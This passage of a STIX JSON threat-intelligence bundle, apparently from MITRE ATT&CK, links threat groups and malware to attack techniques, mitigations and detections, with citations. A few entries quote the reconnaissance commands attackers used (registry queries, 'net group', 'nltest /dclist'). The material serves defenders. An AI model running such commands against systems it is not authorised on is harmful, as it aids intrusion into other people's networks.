information prior to sending to a C2. [AppleJeus](https://attack.mitre.org/software/S0584) has also used the open source ADVObfuscation library for its components.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de3095b9-2434-48e8-880b-a4b75a1788c4","type":"relationship","created":"2021-07-06T23:04:40.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-10-15T19:55:01.719Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de4a0c7c-2a21-4038-8466-7f933be35d95","created":"2023-08-01T20:50:14.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:47:00.513Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has queried the Registry on compromised systems, `reg query hklm\\software\\`, for information on installed software including PuTTY.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de4ae50a-0561-4d01-885a-eab60008d5eb","type":"relationship","created":"2020-10-14T00:44:35.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"}],"modified":"2020-10-14T00:44:35.257Z","description":"[APT1](https://attack.mitre.org/groups/G0006) has sent spearphishing emails containing malicious attachments.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de4ce747-488a-4def-8ede-8a3d371c9dd4","type":"relationship","created":"2020-10-19T19:42:19.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-22T16:54:59.154Z","description":"Restrict administrator accounts to as few individuals as possible, following least privilege principles. Prevent credential overlap across systems of administrator and privileged accounts, particularly between network and non-network platforms, such as servers or endpoints.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de525077-129a-4d14-8419-6a3d219710a8","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:38.941Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can list running services.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de539175-4740-4d78-a46d-5555be905dcf","created":"2022-01-10T19:52:49.144Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.934Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can track key presses with a keylogger module.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de55c190-81ee-49b8-a279-1692725ea6cc","type":"relationship","created":"2020-07-17T15:48:51.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:02.423Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can collect DNS information from the targeted system.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de56c26f-ea38-4e6e-a933-fdf4cd1932dd","type":"relationship","created":"2020-03-24T14:09:11.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-24T14:09:11.791Z","relationship_type":"revoked-by","source_ref":"attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de676fc0-0b1f-4392-a84b-f412c660d89a","created":"2021-04-12T18:09:42.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.845Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can exploit Oracle Java vulnerabilities for execution, including CVE-2011-3544, CVE-2013-2465, CVE-2012-4681, and CVE-2013-2460.(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de6db2bf-4ccf-4103-83a5-424ca960fede","created":"2024-07-24T16:30:13.811Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-24T16:30:13.811Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) used rundll32.exe to proxy execution of a malicious DLL file identified as a keylogging binary.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de6e7fde-7407-4caf-acd0-cfa3aa458d04","created":"2024-08-01T21:58:03.816Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon1 2022","description":"Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T21:58:03.816Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) uses RC4-encrypted, base64-encoded strings to obfuscate functionality and command and control servers.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon1 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de70abfa-848f-4993-bdb8-7235d4a3d720","type":"relationship","created":"2020-05-18T20:04:59.441Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T20:04:59.441Z","description":"[SHARPSTATS](https://attack.mitre.org/software/S0450) has the ability to identify the IP address, machine name, and OS of the compromised host.(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--73c4711b-407a-449d-b269-e3b1531fe7a9","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--de727da1-d36f-4e33-99a1-05ce2df29094","created":"2022-07-25T18:25:54.941Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can identify removable media attached to victim's machines.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T18:25:54.941Z","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de73c6a8-fd33-469d-b7e4-e4f6edd823b9","type":"relationship","created":"2020-10-12T17:50:31.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-12T17:50:31.765Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de745ef4-59a0-470c-95c9-5043a717dc54","type":"relationship","created":"2020-06-22T20:34:05.362Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."},{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."},{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-10-15T00:45:22.072Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has used MSI files to download additional files to execute.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: Fortinet Metamorfo Feb 2020)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de7c6e69-dd8f-4063-aaa2-569ab767629e","type":"relationship","created":"2019-01-30T15:19:15.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"}],"modified":"2019-07-26T23:22:28.631Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can recursively search for files in folders and collects files from the desktop with certain extensions.(Citation: Unit42 Azorult Nov 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de7f9b12-d6e7-4ef6-b55c-77bbca0f8c83","created":"2023-04-10T22:13:19.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T12:30:46.851Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has enumerated domain controllers using `net group \"Domain computers\"` and `nltest /dclist`.(Citation: Rapid7 HAFNIUM Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de840f88-b9d0-4f7e-b5c0-b666faa2d92f","type":"relationship","created":"2017-05-31T21:33:27.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2020-03-20T23:51:21.195Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) used the Plink command-line utility to create SSH tunnels to C2 servers.(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de878489-591e-4b20-af92-43b737077b1d","created":"2024-09-09T14:41:29.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NetSPI ClickOnce","description":"Ryan Gandrud. (2015, March 23). All You Need Is One – A ClickOnce Love Story. Retrieved September 9, 2024.","url":"https://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T13:24:03.748Z","description":"Disable ClickOnce installations from the internet using the following registry key: \n`\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\.NETFramework\\Security\\TrustManager\\PromptingLevel — Internet:Disabled`(Citation: NetSPI ClickOnce)","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--cc279e50-df85-4c8e-be80-6dc2eda8849c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de8cda8f-cb21-4cd9-9ce8-a2f100f723a6","created":"2022-10-13T14:50:44.430Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:50:44.430Z","description":"The [PcShare](https://attack.mitre.org/software/S1050) payload has been injected into the `logagent.exe` and `rdpclip.exe` processes.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de8fefef-bfe7-4720-a443-66713a47b439","type":"relationship","created":"2020-06-11T19:52:07.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-11T19:52:07.241Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has used SSH private keys on the infected machine to spread its coinminer throughout a network.(Citation: Anomali Rocke March 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--de979692-5ca5-4874-bfc8-91cea8697ef1","type":"relationship","created":"2017-05-31T21:33:27.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.343Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"tool--9de2308e-7bed-43a3-8e58-f194b3586700","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--de9a5ad0-b680-493d-9aeb-95070d003033","created":"2024-07-29T22:37:45.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CERT-UA WinterVivern 2023","description":"CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.","url":"https://cert.gov.ua/article/3761104"},{"source_name":"SentinelOne WinterVivern 2023","description":"Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.","url":"https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T14:02:30.536Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) has mimicked legitimate government-related domains to deliver malicious webpages containing links to documents or other content for user execution.(Citation: SentinelOne WinterVivern 2023)(Citation: CERT-UA WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dea19f68-b015-445b-89d6-ad684ba0ff1c","created":"2023-10-03T03:37:40.291Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T03:37:40.291Z","description":"Monitor for the abnormal execution of API functions associated with system logging.","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dea36846-b8ad-4926-a242-9fa2d12069c8","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"PWC Cloud Hopper April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.","url":"https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"},{"source_name":"Github AD-Pentest-Script","description":"Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 